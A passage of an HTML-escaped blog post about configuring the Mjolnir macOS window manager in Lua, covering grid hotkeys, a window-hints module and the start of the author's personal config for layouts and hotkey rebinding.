&lt;span class=&quot;n&quot;&gt;hotkey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bind&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;n&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;grid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pushwindow_nextscreen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;hotkey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bind&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;a&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gridset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;-- left half&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;hotkey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bind&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;s&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;grid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;maximize_window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;hotkey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bind&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;d&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gridset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;-- right half&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;window-hints&quot;&gt;Window Hints&lt;/h2&gt;

&lt;p&gt;One of my favourite parts of Mjolnir is that you can write your own modules in Lua and Objective C to hook into OSX
functionality that Mjolnir doesn’t support by default. The great thing is other people have already written all sorts
of modules to do things like &lt;a href=&quot;https://github.com/Linell/mjolnir.lb.spotify&quot;&gt;controlling Spotify&lt;/a&gt;
and &lt;a href=&quot;https://github.com/asmagill/mjolnir_asm.ui/tree/master/sound&quot;&gt;playing sounds&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Recently I wrote my own module in 4 hours or so that adds the window hints feature that I missed from Slate:
&lt;a href=&quot;https://github.com/trishume/mjolnir.th.hints&quot;&gt;mjolnir.th.hints&lt;/a&gt;. Except I think I did it even better than Slate did.
It allows you to quickly switch apps and windows using “hints” that pop up when you hit a key that have a letter on them,
when you press the letter it switches to that app.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://camo.githubusercontent.com/384052b64aa56146c1efb579b6fbdb60901987ea/687474703a2f2f692e696d6775722e636f6d2f6b744c6742574f2e706e67&quot; alt=&quot;Hints Screenshot&quot; /&gt;&lt;/p&gt;

&lt;p&gt;All you have to do is bind it to a key:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-lua&quot; data-lang=&quot;lua&quot;&gt;&lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hints&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;mjolnir.th.hints&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;hotkey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bind&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;cmd&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;e&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hints&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;windowHints&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;-- You can also use this with appfinder to switch to windows of a specific app&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;appfinder&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;mjolnir.cmsj.appfinder&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;hotkey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bind&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;ctrl&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;cmd&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;k&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hints&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;appHints&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;appfinder&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;app_from_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Emacs&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h1 id=&quot;my-config&quot;&gt;My Config&lt;/h1&gt;

&lt;p&gt;My personal config is a bit fancier and more specific to me than you might want to start off with, but you might want to get
some ideas from it. You can find the latest version &lt;a href=&quot;https://github.com/trishume/dotfiles/blob/master/hammerspoon/hammerspoon.symlink/init.lua&quot;&gt;in my dotfiles repo&lt;/a&gt;,
but I’ve included my config at the time of writing later on the page because it will probably be simpler than my
config at the time you read this.&lt;/p&gt;

&lt;p&gt;It has fancy features like rebinding the keys on keyboard layout change (which doesn’t always work).
Probably the best feature is a crappy implementation of something that mimics Slate’s support for layouts.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Edit: see &lt;a href=&quot;https://github.com/trishume/dotfiles/blob/master/hammerspoon/hammerspoon.symlink/init.lua&quot;&gt;my dotfiles repo&lt;/a&gt; for the Hammerspoon version.&lt;/strong&gt;&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-lua&quot; data-lang=&quot;lua&quot;&gt;&lt;span class=&quot;c1&quot;&gt;-- Load Extensions&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;application&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;mjolnir.application&quot;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;window&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;mjolnir.window&quot;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hotkey&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;mjolnir.hotkey&quot;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;keycodes&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;mjolnir.keycodes&quot;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fnutils&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;mjolnir.fnutils&quot;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;alert&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;mjolnir.alert&quot;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;screen&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;mjolnir.screen&quot;&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;-- User packages&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;grid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;mjolnir.bg.grid&quot;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hints&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;mjolnir.th.hints&quot;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;appfinder&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;mjolnir.cmsj.appfinder&quot;&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;definitions&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;nil&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hyper&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;nil&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gridset&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;frame&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
		&lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;win&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;focusedwindow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;win&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;grid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;win&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;frame&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;win&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;screen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;alert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;show&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;No focused window.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;auxWin&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;nil&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;saveFocus&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;auxWin&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;focusedwindow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;alert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;show&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Window &apos;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;..&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;auxWin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;..&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&apos; saved.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;focusSaved&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;auxWin&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;auxWin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;focus&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hotkeys&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;createHotkeys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fun&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;pairs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;definitions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mod&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hyper&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;string.len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;string.sub&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;c&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;mod&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;cmd&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

    &lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hk&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hotkey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mod&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;string.sub&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fun&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;table.insert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hotkeys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;hk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;enable&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;rebindHotkeys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hk&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ipairs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hotkeys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;hk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;disable&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;hotkeys&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{}&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;createHotkeys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;alert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;show&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Rebound Hotkeys&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;applyPlace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;win&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;place&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;scrs&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;screen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;allscreens&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;scr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;scrs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;place&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]]&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;grid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;win&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;place&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;scr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;applyLayout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;layout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;appName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;place&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;pairs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;layout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt;
